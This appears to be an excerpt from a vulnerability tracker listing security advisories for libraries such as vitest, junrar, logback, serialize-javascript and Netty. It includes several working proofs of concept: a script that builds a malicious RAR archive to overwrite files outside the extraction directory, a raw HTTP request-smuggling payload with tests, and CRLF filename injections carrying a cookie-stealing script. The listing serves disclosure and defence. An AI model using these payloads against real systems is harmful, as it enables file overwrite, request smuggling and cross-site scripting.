Not affected | 2026-09-08 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ## Summary `@vitest/mocker` registers a redirect mock's target path without validating it against the dev server's file-serving allowlist. An attacker who can reach the dev server's WebSocket can register a redirect mock pointing outside the project root; when the mocked module is requested, the plugin's `load` hook returns `readFile(<attacker path>)` as the module source, disclosing local files. This is exploitable **without authentication** only through the public `mockerPlugin` / standalone `interceptorPlugin` exports (used by third-party dev servers), which register the handler on Vite's unauthenticated HMR socket. Vitest's own browser mode registers mocks over a **token-authenticated** RPC and is not remotely reachable by default (see Scope). ## Affected code `packages/mocker/src/node/interceptorPlugin.ts`. The `load` hook is the file-read sink: ```ts if (mock.type === 'redirect') { return readFile(mock.redirect, 'utf-8') } ``` `mock.redirect` is derived from client input at registration time with no boundary check: ```ts if (event.type === 'redirect') { const redirectUrl = new URL(event.redirect) event.redirect = join(server.config.root, redirectUrl.pathname) } registry.register(event) ``` There is no `server.fs.allow` / `server.fs.deny` check and no assertion that the resolved path stays within the project root. ## Registration paths and trust boundaries - **Public `mockerPlugin` / `interceptorPlugin` (unauthenticated).** In `configureServer`, the plugin registers `server.ws.on('vitest:interceptor:register', …)` on Vite's HMR WebSocket. That socket performs no token, Origin, or same-origin check, so any client that can reach it can register a redirect mock. This is the path the "unauthenticated" impact applies to. - **Vitest browser mode (authenticated).** Mocks register over the browser RPC (`registerMock`), which sits behind a per-run token (`isValidApiRequest`, a random `api.token`). The interceptor's `configureServer` socket is not used for registration here (in v5 it does not run at all, as the plugin is injected per environment). The same missing boundary check exists on the authenticated RPC path, but reaching it requires the token, so it is not a remote-unauthenticated read. ## Path handling `new URL(redirect).pathname` combined with `join(root, pathname)` does **not** confine reads to the root: - Special/hierarchical schemes (`file:`, `http:`) are normalized by WHATWG URL, so `..` segments are collapsed and the result stays under the root. Payloads of the form `file:///../../etc/passwd` do **not** escape. - A non-special (opaque) scheme preserves `..` in `pathname`, so `join(root, "../../…/etc/passwd")` resolves outside the root and reads an arbitrary file. Even without escaping the root, the missing `server.fs` check allows reading any in-root file the dev server would otherwise refuse to serve (for example an in-root `.env` or source that is denied by `server.fs.deny`). ## Scope / preconditions - This is a **development-server** issue. The dev server binds to `localhost` by default and is not reachable from the network unless the developer exposes it (`server.host` / `0.0.0.0`, a LAN bind, or a proxy). - A raw (non-browser) client against a reachable server bypasses browser origin and CORS protections entirely and can both register the mock and read the response. - A browser-based drive-by against a localhost server is substantially mitigated by Vite defaults: the default CORS origin allowlist is limited to `localhost` origins, and `server.allowedHosts` blocks DNS-rebinding, so a cross-origin page cannot read the file contents back. ## Impact Disclosure of local files readable by the dev-server process (source, in-root `.env`/secrets, and, via the opaque-scheme payload, files outside the project root). No integrity or availability impact. ## Affected versions Present since `@vitest/mocker` was introduced. - **Affected: `@vitest/mocker` >= 2.1.0** (shipped in `vitest` and `@vitest/browser` >= 2.1.0), through 4.1.x and the 5.0.0 pre-releases. - **Fixed:** Vitest 4.1.11 and 5.0.0. Older majors (2.1.x, 3.x) are not maintained and are not planned to receive the fix. ## Fix Validate the resolved redirect target against Vite's file-serving allowlist (`isFileLoadingAllowed`) before registering it, at every registration site, and stop registering the interceptor WebSocket events in Vitest's browser mode (mocks there flow through the authenticated RPC). | |
| 5.9CVSS 3.1 | GHSA-hf5p-q87m-crj7 | Resolved | 2026-04-16 | 5.6 ×25.5 ×185.4 ×12 | ### Summary A path traversal vulnerability in `LocalFolderExtractor` allows an attacker to write arbitrary files with attacker-controlled content into sibling directories when a crafted RAR archive is extracted. ### Example Given an extraction directory set to `/tmp/extract`, a crafted archive with an entry with the filename as `../extract_evil/file.txt` would be actually extracted to `/tmp/extract_evil/file.txt`. ### Details The `createDirectory()` and `createFile()` methods in`LocalFolderExtractor` validate extraction paths using a string prefix. | |
| 5.9CVSS 3.1 | GHSA-j273-m5qq-6825
CVE-2026-28208 |
Resolved | 2026-02-27 | 5.6 ×15.5 ×85.4 ×11 | ### Summary A backslash path traversal vulnerability in `LocalFolderExtractor` allows an attacker to write arbitrary files with attacker-controlled content anywhere on the filesystem when a crafted RAR archive is extracted on Linux/Unix. This can often lead to remote code execution (e.g., overwriting shell profiles, source code, cron jobs, etc). ### Details The `createFile()` method in [`LocalFolderExtractor.java`](https://github.com/junrar/junrar/blob/master/src/main/java/com/github/junrar/LocalFolderExtractor.java) validates extraction paths using `getCanonicalPath().startsWith()` to ensure files stay within the destination directory: ```java File f = new File(destination, name); String dirCanonPath = f.getCanonicalPath(); if (!dirCanonPath.startsWith(destination.getCanonicalPath())) { throw new IllegalStateException("Rar contains file with invalid path: '" + dirCanonPath + "'"); } ``` On Linux/Unix, backslashes are literal filename characters, not path separators. A RAR entry named `..\..\tmp\evil.txt` is treated by `getCanonicalPath()` as a single literal filename containing backslash characters — no `..` resolution occurs, and the `startsWith` check passes. However, `makeFile()` then splits the filename on backslashes and reconstructs the path using the platform's file separator: ```java final String[] dirs = name.split("\\\\"); // dirs = ["..", "..", "tmp", "evil.txt"] // ... path = path + File.separator + dirs[i]; // File.separator is "/" on Linux ``` This converts the literal backslashes into real directory traversal: `../../tmp/evil.txt`. The `extract()` method then opens a `FileOutputStream` on this path and writes the RAR entry's content to it, achieving arbitrary file write outside the extraction directory. On Windows this is not exploitable because backslashes are path separators, so `getCanonicalPath()` correctly resolves the `..` components and the `startsWith` check blocks the traversal. **Affected versions:** Tested on 7.5.7 (latest). Likely affects all versions that include the `makeFile()` backslash-splitting logic in `LocalFolderExtractor`. ### PoC (Files Below) **Prerequisites:** Linux/Unix system with Java 17+ and Maven installed. 1. Run `bash poc_setup.sh` which installs junrar 7.5.7 via Maven, creates a malicious RAR archive containing an entry with a backslash-traversal filename (`..\..\tmp\existing-file`), and creates `/tmp/existing-file` with the content "Existing File" to simulate a pre-existing file. 2. Run `mvn exec:java -Dexec.mainClass='com.test.BackslashTraversalPoC' -q` 3. Observe the output shows `/tmp/existing-file` was overwritten from "Existing File" to "Overwritten", confirming the file outside the extraction directory was written with attacker-controlled content. The PoC uses `Junrar.extract()` — the standard public API for extracting RAR archives. ### Impact Any application that extracts user-supplied RAR archives using junrar on Linux/Unix is vulnerable to arbitrary file write/overwrite with attacker-controlled content. This can often lead to RCE. This affects all Linux/Unix deployments. Windows is not affected. ## POC Files **poc_setup.sh** ``` #!/bin/bash # Setup script for junrar backslash path traversal PoC # Vulnerability: CWE-22/CWE-29 - Backslash path traversal bypass in LocalFolderExtractor # Package: com.github.junrar:junrar 7.5.7 (Java) set -e # Use the directory where this script lives as the working directory SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)" cd "$SCRIPT_DIR" echo "=== Setting up junrar backslash path traversal PoC ===" echo "Working directory: $SCRIPT_DIR" # Clean up artifacts from previous runs rm -f malicious.rar rm -rf target extraction-output # Verify Java and Maven are available java -version 2>&1 | head -1 || { echo "ERROR: Java not found"; exit 1; } mvn -version 2>&1 | head -1 || { echo "ERROR: Maven not found"; exit 1; } # Create Maven project cat > pom.xml << 'POMEOF' <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>com.test</groupId> <artifactId>junrar-poc</artifactId> <version>1.0</version> <packaging>jar</packaging> <properties> <maven.compiler.source>17</maven.compiler.source> <maven.compiler.target>17</maven.compiler.target> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> </properties> <dependencies> <dependency> <groupId>com.github.junrar</groupId> <artifactId>junrar</artifactId> <version>7.5.7</version> </dependency> </dependencies> </project> POMEOF # Install dependencies echo "Installing junrar 7.5.7..." mvn dependency:resolve -q # Copy and compile PoC mkdir -p src/main/java/com/test cp poc.java src/main/java/com/test/BackslashTraversalPoC.java echo "Compiling PoC..." mvn compile -q # Verify junrar version echo "Installed: junrar 7.5.7" # Create the malicious RAR3 archive: # Entry 1: file with name "..\..\tmp\existing-file" containing "Overwritten" # # On Linux, createFile() validates the path using getCanonicalPath().startsWith(). # Since backslashes are literal characters on Linux, getCanonicalPath() does NOT # resolve the ".." components, so the check passes. makeFile() then splits on # backslashes and joins with File.separator (/), converting the literal backslashes # into real directory traversal: ../../tmp/existing-file python3 << 'PYEOF' import struct, zlib RAR3_MAGIC = b'Rar!\x1a\x07\x00' RAR_BLOCK_MAIN = 0x73 RAR_BLOCK_FILE = 0x74 RAR_BLOCK_ENDARC = 0x7b RAR_LONG_BLOCK = 0x8000 RAR_OS_UNIX = 3 RAR_M0 = 0x30 # Store (no compression) S_IFREG = 0o100000 def crc16(data): return zlib.crc32(data) & 0xFFFF def main_header(): # Standard RAR3 main archive header (non-encrypted) # After the 7-byte base block: HighPosAv (2 bytes) + PosAv (4 bytes) # junrar always reads exactly 6 bytes here (MainHeader.mainHeaderSize = 6) extra = struct.pack('<HI', 0, 0) # HighPosAv=0, PosAv=0 header_data = struct.pack('<BHH', RAR_BLOCK_MAIN, 0, 7 + len(extra)) + extra return struct.pack('<H', crc16(header_data)) + header_data def file_block(filename, file_data): fname = filename.encode('utf-8') data = file_data.encode('utf-8') mode = S_IFREG | 0o644 # UNP_VER=0: junrar's doUnpack() calls unstoreFile() when method==0x30, # then falls through to a switch on UNP_VER. Using 0 avoids matching any # decompression case (15/20/26/29/36), so only unstoreFile() runs. file_hdr = struct.pack('<LLBLLBBHL', len(data), len(data), RAR_OS_UNIX, zlib.crc32(data) & 0xFFFFFFFF, 0x5A210000, 0, RAR_M0, len(fname), mode) header_body = struct.pack('<BHH', RAR_BLOCK_FILE, RAR_LONG_BLOCK, 7 + len(file_hdr) + len(fname)) + file_hdr + fname return struct.pack('<H', crc16(header_body)) + header_body + data def endarc(): # junrar's EndArcHeader.isValid() requires flags=0x4000 and CRC=0x3DC4 header_data = struct.pack('<BHH', RAR_BLOCK_ENDARC, 0x4000, 7) crc = crc16(header_data) return struct.pack('<H', crc) + header_data archive = bytearray() archive += RAR3_MAGIC archive += main_header() # Backslash-separated path: on Linux, createFile() sees literal backslashes, # but makeFile() splits on them and joins with / archive += file_block('..\\..\\tmp\\existing-file', 'Overwritten\n') archive += endarc() with open('malicious.rar', 'wb') as f: f.write(archive) PYEOF echo "Created malicious.rar" # Create the target file so it can be validated before running the payload printf "Existing File\n" > /tmp/existing-file echo "" echo "=== Setup complete ===" echo "Validate: cat /tmp/existing-file (should show 'Existing File')" echo "Run PoC: mvn exec:java -Dexec.mainClass='com.test.BackslashTraversalPoC' -q" ``` **poc.java** ``` package com.test; import com.github.junrar.Junrar; import java.io.File; import java.nio.file.Files; import java.nio.file.Path; /** * PoC: Backslash path traversal bypass in junrar 7.5.7 * * A RAR archive containing an entry with backslash-separated ".." components * bypasses the createFile() canonical path validation on Linux and writes * files outside the extraction directory via makeFile()'s path reconstruction. */ public class BackslashTraversalPoC { static final String TARGET = "/tmp/existing-file"; static final String ARCHIVE = "malicious.rar"; public static void main(String[] args) throws Exception { File archive = new File(ARCHIVE); if (!archive.exists()) { archive = new File(new File(System.getProperty("user.dir")).getParent(), ARCHIVE); } // Step 1: Verify the pre-existing file (created by poc_setup.sh) File target = new File(TARGET); if (!target.exists()) { System.out.println("ERROR: " + TARGET + " not found. Run poc_setup.sh first."); System.exit(1); } System.out.println("Before extraction:"); System.out.println(" " + TARGET + " => " + Files.readString(Path.of(TARGET)).trim()); System.out.println(); // Step 2: Extract the malicious archive Path extractDir = Files.createTempDirectory("junrar-poc-"); System.out.println("Extracting " + archive.getAbsolutePath() + " into " + extractDir + " ..."); try { Junrar.extract(archive, extractDir.toFile()); } catch (Exception e) { System.out.println("Extraction error (may be expected): " + e.getMessage()); } System.out.println(); // Step 3: Show the result System.out.println("After extraction:"); String content = Files.readString(Path.of(TARGET)).trim(); System.out.println(" " + TARGET + " => " + content); System.out.println(); if (content.equals("Overwritten")) { System.out.println("VULNERABLE: junrar 7.5.7 backslash traversal overwrote " + TARGET); } else { System.out.println("NOT VULNERABLE: file contents unchanged"); } } } ``` | |
| 5.9CVSS 4.0 | GHSA-pr98-23f8-jwxv
CVE-2024-12798 |
Resolved | 2024-12-19 | 5.4 ×14 | ACE vulnerability in JaninoEventEvaluator by QOS.CH logback-core up to and including version 1.5.12 in Java applications allows attackers to execute arbitrary code by compromising an existing logback configuration file or by injecting an environment variable before program execution. Malicious logback configuration files can allow the attacker to execute arbitrary code using the JaninoEventEvaluator extension. A successful attack requires the user to have write access to a configuration file. Alternatively, the attacker could inject a malicious environment variable pointing to a malicious configuration file. In both cases, the attack requires existing privilege. | |
| 5.9CVSS 3.1 | GHSA-qj8w-gfj5-8c6v
CVE-2026-34043 |
False positive | 2026-03-27 | 5.6 ×95.5 ×205.4 ×14 | ### Impact **What kind of vulnerability is it?** It is a **Denial of Service (DoS)** vulnerability caused by CPU exhaustion. When serializing a specially crafted "array-like" object (an object that inherits from `Array.prototype` but has a very large `length` property), the process enters an intensive loop that consumes 100% CPU and hangs indefinitely. **Who is impacted?** Applications that use `serialize-javascript` to serialize untrusted or user-controlled objects are at risk. While direct exploitation is difficult, it becomes a high-priority threat if the application is also vulnerable to **Prototype Pollution** or handles untrusted data via **YAML Deserialization**, as these could be used to inject the malicious object. ### Patches **Has the problem been patched?** Yes, the issue has been patched by replacing `instanceof Array` checks with `Array.isArray()` and using `Object.keys()` for sparse array detection. **What versions should users upgrade to?** Users should upgrade to **`v7.0.5`** or later. ### Workarounds **Is there a way for users to fix or remediate the vulnerability without upgrading?** There is no direct code-level workaround within the library itself. However, users can mitigate the risk by: * Validating and sanitizing all input before passing it to the `serialize()` function. * Ensuring the environment is protected against Prototype Pollution. * Upgrading to **`v7.0.5`** as soon as possible. ### Acknowledgements Serialize JavaScript thanks **Tomer Aberbach** (@TomerAberbach) for discovering and privately disclosing this issue. | |
| 5.9CVSS 3.1 | GHSA-rj75-hqrm-r3gf
CVE-2026-104844 |
In triage | 2026-10-05 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ### Impact `.` and `#` are not word delimiters in the tokenizer, so a flat selector such as `.a.a.a...` reaches `splitWord()` as a single word token carrying n class or id indexes. Three passes scanned those index arrays linearly for every index, making the parse O(n^2) in the number of indexes rather than in input length: `uniqs()`, the `indices.forEach` loop, and the Sass-interpolation filter. Parsing a 400 KB flat selector took ~34 s on a modern laptop, fully occupying a single thread. A benign selector of identical byte size parses in tens of milliseconds, so the cost is driven by the index count, not the input size. The nesting depth of such a selector is 0, so the `maxNestingDepth` guard added in 7.1.3 offers no protection. Reachability is deployment dependent. Only consumers that parse untrusted, attacker-supplied selectors synchronously in a request path are exposed, for example CSS sanitizers, CSS-in-JS services and online playgrounds. Ordinary build-time use on trusted sources is not affected. ### Patches Fixed in 7.1.6. The three passes now use Set membership tests, making parsing linear in the number of indexes. There is no behaviour change: parsing is byte-identical on a differential corpus of 8413 selectors. ### Workarounds Cap the size of selectors accepted from untrusted sources before parsing. | |
| 5.9CVSS 3.1 | GHSA-xqrx-qh46-34m7
CVE-2026-116590 |
In triage | 2026-10-27 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ### Impact `Snappy.arrayCopy(Object src, int offset, int byteLength, Object dest, int destOffset)` called a native `memcpy` without validating the ranges. A negative or oversized `byteLength` or offset read or wrote outside the arrays and crashed the JVM. `SnappyOutputStream.rawWrite` and `SnappyInputStream.rawRead`, and therefore the typed-array `write`/`read` methods, pass caller-supplied ranges to this method. ### Patches Fixed in 1.1.10.9 (#741). `Snappy.arrayCopy` checks both ranges before copying. The stream `read`/`write` methods validate offsets and lengths, and reject typed-array ranges whose byte size overflows `int`. ### Workarounds Validate offsets and lengths before calling these methods. | |
| 5.9CVSS 3.1 | GHSA-xr57-gcx8-52hf
CVE-2026-85720 |
Resolved | 2026-09-17 | 5.7 ×35.6 ×95.5 ×205.4 ×14 | ### Impact When a request uses an HTTP proxy to reach an HTTPS origin, the client opens the tunnel with a plaintext CONNECT sent to the proxy before any TLS exists. On affected versions the origin's preemptive credentials were added to that CONNECT. A Basic realm sent `Authorization: Basic base64(user:pass)` to the proxy in the clear, and NTLM, SPNEGO or Kerberos realms sent their token. The proxy, and anyone who can read the client to proxy hop, saw credentials that were meant only for the origin. ### Affected versions * 3.x: up to and including 3.0.11 * 2.x: up to and including 2.16.0 ### Patches Fixed in 3.0.12 on the 3.x line and in 2.16.1 on the 2.x line. The origin Basic or Digest Authorization is no longer put on the CONNECT; it is added to the tunnelled request once the tunnel is up. The per-connection NTLM, Kerberos and SPNEGO token is likewise no longer attached on the tunnel path; it never reached the origin there in any case, and the challenge flow still negotiates it inside the tunnel. ### Workarounds Do not use preemptive origin authentication together with an HTTP proxy, or reach the origin without a CONNECT proxy. ### Details NettyRequestFactory added the origin Authorization to every request it built, including the CONNECT, and NettyRequestSender did the same for the per-connection NTLM or SPNEGO token in sendRequestWithNewChannel. Both now skip the CONNECT. Note that 3.0.12 is itself affected by a separate issue, GHSA-rqf5-2wxv-rjf4, where a Digest challenge the client cannot read downgrades to Basic and sends the password in cleartext. Upgrade to 3.0.13 to pick up both fixes. | |
| 5.8CVSS 3.1 | CVE-2025-53864
GHSA-xwmg-2g98-w7v9 |
Resolved | 2025-07-11 | 5.4 ×14 | Connect2id Nimbus JOSE + JWT 10.0.x before 10.0.2 and 9.37.x before 9.37.4 allows a remote attacker to cause a denial of service via a deeply nested JSON object supplied in a JWT claim set, because of uncontrolled recursion. NOTE: this is independent of the Gson 2.11.0 issue because the Connect2id product could have checked the JSON object nesting depth, regardless of what limits (if any) were imposed by Gson. | |
| 5.8CVSS 3.1 | GHSA-xwmg-2g98-w7v9
CVE-2025-53864 |
Resolved | 2025-07-11 | 5.4 ×14 | Connect2id Nimbus JOSE + JWT before 10.0.2 allows a remote attacker to cause a denial of service via a deeply nested JSON object supplied in a JWT claim set, because of uncontrolled recursion. NOTE: this is independent of the Gson 2.11.0 issue because the Connect2id product could have checked the JSON object nesting depth, regardless of what limits (if any) were imposed by Gson. | |
| 5.8CVSS 3.1 | GHSA-xxqh-mfjm-7mv9
CVE-2026-42581 |
Resolved | 2026-05-07 | 5.7 ×35.6 ×25.5 ×205.4 ×14 | # NETTY HTTP/1.0 TE+CL Coexistence Bypasses Smuggling Sanitization | Field | Value | |-----------|-------| | Library | `io.netty:netty-codec-http` | | Component | `codec-http` — `HttpObjectDecoder` | | Severity | **HIGH** | | Affects | HEAD, commit `4f3533ae` confirmed | --- ## Summary `HttpObjectDecoder` strips a conflicting `Content-Length` header when a request carries both `Transfer-Encoding: chunked` and `Content-Length`, but only for HTTP/1.1 messages. The guard is absent for HTTP/1.0. An attacker that sends an HTTP/1.0 request with both headers causes Netty to decode the body as chunked while leaving `Content-Length` intact in the forwarded `HttpMessage`. Any downstream proxy or handler that trusts `Content-Length` over `Transfer-Encoding` will disagree on message boundaries, enabling request smuggling. --- ## Root Cause ```java // HttpObjectDecoder.java:828-833 if (HttpUtil.isTransferEncodingChunked(message)) { this.chunked = true; if (!contentLengthFields.isEmpty() && message.protocolVersion() == HttpVersion.HTTP_1_1) { handleTransferEncodingChunkedWithContentLength(message); // strips CL — HTTP/1.1 only } return State.READ_CHUNK_SIZE; } // HttpObjectDecoder.java:870-873 protected void handleTransferEncodingChunkedWithContentLength(HttpMessage message) { message.headers().remove(HttpHeaderNames.CONTENT_LENGTH); contentLength = Long.MIN_VALUE; } ``` The conflict-resolution path is gated on `message.protocolVersion() == HttpVersion.HTTP_1_1`. When the request declares `HTTP/1.0`, the condition is false, `handleTransferEncodingChunkedWithContentLength` is never called, and the `Content-Length` header survives into the forwarded message. Netty still processes the body as chunked; a downstream component that is CL-first interprets the same bytes as a separate request. --- ## Proof of Concept ``` POST /api HTTP/1.0\r\n Host: internal.example.com\r\n Transfer-Encoding: chunked\r\n Content-Length: 0\r\n \r\n 5\r\n GPOST\r\n 0\r\n \r\n ``` Netty consumes the full chunked body (5 bytes + terminator). A downstream CL-first proxy reads `Content-Length: 0`, considers the request complete at the blank line, and treats `5\r\nGPOST\r\n0\r\n\r\n` as the start of a second request. --- ## Conditions Required 1. Netty is deployed behind a reverse proxy or load balancer that is `Content-Length`-first (nginx, some HAProxy configs, AWS ALB in certain modes). 2. Attacker can send HTTP/1.0 requests (either directly or by downgrading via connection manipulation). 3. No additional HTTP/1.0 stripping layer between attacker and Netty. --- ## Impact Request smuggling at the Netty edge. Allows cache poisoning, session fixation against other users, unauthorized access to internal endpoints, and bypassing of WAF or authentication layers that inspect only the first logical request. --- ## Confirmed PoC Test Verified against HEAD (`4f3533ae`) using `EmbeddedChannel`. Both tests pass, confirming the vulnerability and the HTTP/1.1 contrast. ```java package io.netty.handler.codec.http; import io.netty.buffer.Unpooled; import io.netty.channel.embedded.EmbeddedChannel; import io.netty.util.CharsetUtil; import org.junit.jupiter.api.Test; import static org.junit.jupiter.api.Assertions.*; public class NettySmugglingSec001Test { // VULNERABLE: Content-Length survives in HTTP/1.0 TE+CL conflict @Test public void http10_contentLengthNotStripped() { EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestDecoder()); ch.writeInbound(Unpooled.copiedBuffer( "POST /api HTTP/1.0\r\n" + "Transfer-Encoding: chunked\r\n" + "Content-Length: 0\r\n" + "\r\n" + "5\r\nGPOST\r\n0\r\n\r\n", CharsetUtil.US_ASCII)); HttpRequest req = ch.readInbound(); assertEquals(HttpVersion.HTTP_1_0, req.protocolVersion()); // Content-Length: 0 survives — downstream CL-first proxy treats chunked body as new request assertNotNull(req.headers().get(HttpHeaderNames.CONTENT_LENGTH), "VULNERABLE: CL not stripped"); ch.finishAndReleaseAll(); } // SAFE: HTTP/1.1 correctly strips Content-Length on TE+CL conflict @Test public void http11_contentLengthStripped() { EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestDecoder()); ch.writeInbound(Unpooled.copiedBuffer( "POST /api HTTP/1.1\r\n" + "Transfer-Encoding: chunked\r\n" + "Content-Length: 0\r\n" + "\r\n" + "5\r\nGPOST\r\n0\r\n\r\n", CharsetUtil.US_ASCII)); HttpRequest req = ch.readInbound(); assertNull(req.headers().get(HttpHeaderNames.CONTENT_LENGTH), "SAFE: CL correctly stripped"); ch.finishAndReleaseAll(); } } ``` --- ## Fix Guidance Remove the `message.protocolVersion() == HttpVersion.HTTP_1_1` guard in `HttpObjectDecoder`, applying `handleTransferEncodingChunkedWithContentLength` unconditionally whenever both `Transfer-Encoding: chunked` and `Content-Length` are present, regardless of protocol version. | |
| 5.7CVSS 3.1 | CVE-2025-37727 | Not affected | 2025-10-10 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | Insertion of sensitive information in log file in Elasticsearch can lead to loss of confidentiality under specific preconditions when auditing requests to the reindex API https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-reindex | |
| 5.7CVSS 3.1 | GHSA-gcjf-9mgh-3p7g
CVE-2026-59921 |
Resolved | 2026-07-22 | 5.7 ×35.6 ×95.5 ×205.4 ×14 | # Security Vulnerability Report: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder ## 1. Vulnerability Summary | Field | Value | |-------|-------| | **Product** | Netty | | **Version** | 4.2.12.Final (and all prior versions with codec-http multipart) | | **Component** | `io.netty.handler.codec.http.multipart.HttpPostRequestEncoder` | | **Vulnerability Type** | CWE-93: Improper Neutralization of CRLF Sequences / CWE-113: HTTP Response Splitting | | **Impact** | MIME Header Injection / Content-Type Spoofing / XSS via Content-Disposition | | **CVSS 3.1 Score** | **8.1 (High)** | | **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N` | | **Attack Vector** | Network | | **Attack Complexity** | Low | | **Privileges Required** | Low (attacker must be able to upload files with controlled filenames) | | **User Interaction** | None | | **Scope** | Unchanged | | **Confidentiality Impact** | High | | **Integrity Impact** | High | | **Availability Impact** | None | ## 2. Affected Components The following classes in the `codec-http` module are affected: - `io.netty.handler.codec.http.multipart.HttpPostRequestEncoder` — directly concatenates unvalidated filename/name into `Content-Disposition` MIME headers (lines 519, 633, 674, 682, 686-688) - `io.netty.handler.codec.http.multipart.DiskFileUpload` — `setFilename()` only checks null (line 78) - `io.netty.handler.codec.http.multipart.MemoryFileUpload` — `setFilename()` only checks null (line 60) - `io.netty.handler.codec.http.multipart.MixedFileUpload` — `setFilename()` delegates without validation (line 62) ## 3. Vulnerability Description Netty's `HttpPostRequestEncoder` constructs multipart HTTP request bodies by directly concatenating user-supplied filenames and field names into `Content-Disposition` MIME headers **without validating or sanitizing CRLF characters** (`\r\n`). Since MIME headers are delimited by CRLF, an attacker who controls the filename can inject arbitrary MIME headers into the multipart body part. ### Root Cause In `HttpPostRequestEncoder.java`, multiple code paths directly embed `fileUpload.getFilename()` into header strings: ```java // Line 674 (attachment mode): internal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + ": " + HttpHeaderValues.ATTACHMENT + "; " + HttpHeaderValues.FILENAME + "=\"" + fileUpload.getFilename() + "\"\r\n"); // ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION // Lines 686-688 (form-data mode): internal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + ": " + HttpHeaderValues.FORM_DATA + "; " + HttpHeaderValues.NAME + "=\"" + fileUpload.getName() + "\"; " + HttpHeaderValues.FILENAME + "=\"" + fileUpload.getFilename() + "\"\r\n"); // ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION // Line 519 (attribute name): internal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + ": " + HttpHeaderValues.FORM_DATA + "; " + HttpHeaderValues.NAME + "=\"" + attribute.getName() + "\"\r\n"); // ^^^^^^^^^^^^^^^^^ NO VALIDATION ``` The `setFilename()` method in all `FileUpload` implementations only checks for null: ```java // DiskFileUpload.java:77-79 public void setFilename(String filename) { this.filename = ObjectUtil.checkNotNull(filename, "filename"); // NO CRLF VALIDATION } ``` ### Comparison with Similar Fixed CVEs This vulnerability follows the same pattern as: | CVE | Component | Fix | |-----|-----------|-----| | **GHSA-jq43-27x9-3v86** | SmtpRequestEncoder — SMTP command injection | Added CRLF validation in `SmtpUtils.validateSMTPParameters()` | | **GHSA-84h7-rjj3-6jx4** | HttpRequestEncoder — CRLF in URI | Added `HttpUtil.validateRequestLineTokens()` | The multipart encoder has **no equivalent validation** for filenames or field names. ## 4. Exploitability Prerequisites This vulnerability is exploitable when: 1. The application uses Netty's `HttpPostRequestEncoder` to construct multipart HTTP requests 2. The filename of an uploaded file is derived from user-controlled input 3. The application does **not** perform its own CRLF sanitization on filenames **Common affected patterns**: - File upload proxies that forward user-supplied filenames - API gateways that construct multipart requests from incoming parameters - Microservice communication that passes filenames between services - Testing/automation frameworks that use Netty HTTP client with user-defined filenames ## 5. Attack Scenarios ### Scenario 1: Content-Type Override via Filename Injection An attacker uploads a file with a crafted filename to override the Content-Type of the multipart body part, potentially enabling stored XSS: ```java String maliciousFilename = "photo.jpg\"\r\nContent-Type: text/html\r\n\r\n<script>alert(document.cookie)</script>\r\n--"; DiskFileUpload upload = new DiskFileUpload( "avatar", maliciousFilename, "image/jpeg", "binary", UTF_8, fileSize); ``` **Wire format:** ``` --boundary content-disposition: form-data; name="avatar"; filename="photo.jpg" Content-Type: text/html <-- INJECTED: overrides image/jpeg <script>alert(document.cookie)</script> <-- INJECTED: XSS payload --" content-type: image/jpeg <-- Original (now ignored by many parsers) ... ``` If the receiving server parses the **first** `Content-Type`, the file is treated as HTML instead of JPEG, enabling XSS when the file is served back. ### Scenario 2: Arbitrary MIME Header Injection ```java String filename = "doc.pdf\"\r\nX-Custom-Auth: admin-token-12345\r\nX-Bypass-Check: true"; ``` Injects arbitrary headers into the multipart body part that may be processed by downstream middleware or application logic. ### Scenario 3: Multipart Boundary Confusion ```java String filename = "file.txt\"\r\n\r\nmalicious body content\r\n--boundary\r\nContent-Disposition: form-data; name=\"secret"; ``` By injecting a new boundary delimiter, the attacker can: - Terminate the current body part prematurely - Start a new body part with a different field name - Override form fields processed by the server ## 6. Proof of Concept ### Full Runnable PoC Source Code (MultipartFilenameInjectionPoC.java) ```java import io.netty.buffer.ByteBuf; import io.netty.buffer.Unpooled; import io.netty.handler.codec.http.*; import io.netty.handler.codec.http.multipart.*; import java.io.File; import java.io.FileWriter; import java.nio.charset.StandardCharsets; /** * PoC: HTTP Multipart Content-Disposition Header Injection via Filename * * Demonstrates that HttpPostRequestEncoder does not validate filenames * for CRLF characters, allowing injection of arbitrary MIME headers * into multipart form data. */ public class MultipartFilenameInjectionPoC { public static void main(String[] args) throws Exception { System.out.println("=== Netty Multipart Filename CRLF Injection PoC ===\n"); testFilenameInjection(); System.out.println("\n=== PoC Complete ==="); } static void testFilenameInjection() throws Exception { System.out.println("[TEST 1] Filename CRLF Injection in Content-Disposition"); System.out.println("-------------------------------------------------------"); // Create a temporary file for upload File tempFile = File.createTempFile("test", ".txt"); tempFile.deleteOnExit(); try (FileWriter fw = new FileWriter(tempFile)) { fw.write("test content"); } // Malicious filename with CRLF to inject Content-Type header String maliciousFilename = "innocent.txt\"\r\nContent-Type: text/html\r\nX-Injected: true\r\n\r\n" + "<script>alert(1)</script>\r\n--"; HttpRequest request = new DefaultHttpRequest( HttpVersion.HTTP_1_1, HttpMethod.POST, "/upload"); HttpPostRequestEncoder encoder = new HttpPostRequestEncoder( new DefaultHttpDataFactory(false), request, true, StandardCharsets.UTF_8, HttpPostRequestEncoder.EncoderMode.RFC3986); DiskFileUpload fileUpload = new DiskFileUpload( "file", maliciousFilename, "application/octet-stream", "binary", StandardCharsets.UTF_8, tempFile.length()); fileUpload.setContent(tempFile); encoder.addBodyHttpData(fileUpload); encoder.finalizeRequest(); // 